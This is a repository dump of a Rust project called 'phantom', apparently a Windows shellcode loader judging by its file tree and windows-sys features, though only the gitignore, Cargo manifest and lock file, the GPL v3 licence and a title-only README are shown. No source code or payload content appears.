├── .gitignore ├── Cargo.lock ├── Cargo.toml ├── LICENSE ├── README.md ├── assets ├── in ├── logo.png ├── sh └── shellcode.bin ├── scripts └── main.py └── src ├── main.rs └── utils.rs /.gitignore: -------------------------------------------------------------------------------- 1 | /target 2 | .idea -------------------------------------------------------------------------------- /Cargo.lock: -------------------------------------------------------------------------------- 1 | # This file is automatically @generated by Cargo. 2 | # It is not intended for manual editing. 3 | version = 3 4 | 5 | [[package]] 6 | name = "phantom" 7 | version = "0.1.0" 8 | dependencies = [ 9 | "windows-sys", 10 | ] 11 | 12 | [[package]] 13 | name = "windows-sys" 14 | version = "0.48.0" 15 | source = "registry+https://github.com/rust-lang/crates.io-index" 16 | checksum = "677d2418bec65e3338edb076e806bc1ec15693c5d0104683f2efe857f61056a9" 17 | dependencies = [ 18 | "windows-targets", 19 | ] 20 | 21 | [[package]] 22 | name = "windows-targets" 23 | version = "0.48.1" 24 | source = "registry+https://github.com/rust-lang/crates.io-index" 25 | checksum = "05d4b17490f70499f20b9e791dcf6a299785ce8af4d709018206dc5b4953e95f" 26 | dependencies = [ 27 | "windows_aarch64_gnullvm", 28 | "windows_aarch64_msvc", 29 | "windows_i686_gnu", 30 | "windows_i686_msvc", 31 | "windows_x86_64_gnu", 32 | "windows_x86_64_gnullvm", 33 | "windows_x86_64_msvc", 34 | ] 35 | 36 | [[package]] 37 | name = "windows_aarch64_gnullvm" 38 | version = "0.48.0" 39 | source = "registry+https://github.com/rust-lang/crates.io-index" 40 | checksum = "91ae572e1b79dba883e0d315474df7305d12f569b400fcf90581b06062f7e1bc" 41 | 42 | [[package]] 43 | name = "windows_aarch64_msvc" 44 | version = "0.48.0" 45 | source = "registry+https://github.com/rust-lang/crates.io-index" 46 | checksum = "b2ef27e0d7bdfcfc7b868b317c1d32c641a6fe4629c171b8928c7b08d98d7cf3" 47 | 48 | [[package]] 49 | name = "windows_i686_gnu" 50 | version = "0.48.0" 51 | source = "registry+https://github.com/rust-lang/crates.io-index" 52 | checksum = "622a1962a7db830d6fd0a69683c80a18fda201879f0f447f065a3b7467daa241" 53 | 54 | [[package]] 55 | name = "windows_i686_msvc" 56 | version = "0.48.0" 57 | source = "registry+https://github.com/rust-lang/crates.io-index" 58 | checksum = "4542c6e364ce21bf45d69fdd2a8e455fa38d316158cfd43b3ac1c5b1b19f8e00" 59 | 60 | [[package]] 61 | name = "windows_x86_64_gnu" 62 | version = "0.48.0" 63 | source = "registry+https://github.com/rust-lang/crates.io-index" 64 | checksum = "ca2b8a661f7628cbd23440e50b05d705db3686f894fc9580820623656af974b1" 65 | 66 | [[package]] 67 | name = "windows_x86_64_gnullvm" 68 | version = "0.48.0" 69 | source = "registry+https://github.com/rust-lang/crates.io-index" 70 | checksum = "7896dbc1f41e08872e9d5e8f8baa8fdd2677f29468c4e156210174edc7f7b953" 71 | 72 | [[package]] 73 | name = "windows_x86_64_msvc" 74 | version = "0.48.0" 75 | source = "registry+https://github.com/rust-lang/crates.io-index" 76 | checksum = "1a515f5799fe4961cb532f983ce2b23082366b898e52ffbce459c86f67c8378a" 77 | -------------------------------------------------------------------------------- /Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "phantom" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | windows-sys = { version = "0.48.0", features = ["Win32_Foundation", "Win32_System_Memory", "Win32_System_Threading", "Win32_Security", "Win32_System_LibraryLoader", "Win32_System_SystemServices", "Win32_System_Diagnostics_Debug", "Win32_System_SystemInformation", "Win32_System_Kernel"] } 10 | 11 | [profile.release] 12 | opt-level = "z" 13 | debug = 0 14 | split-debuginfo = "packed" 15 | strip = "symbols" 16 | debug-assertions = false 17 | overflow-checks = true 18 | lto = "thin" 19 | panic = "abort" 20 | codegen-units = 1 21 | rpath = false 22 | incremental = false 23 | 24 | [profile.dev] 25 | debug-assertions = false 26 | incremental = false -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # phantom 2 | 3 |

4 | 5 |

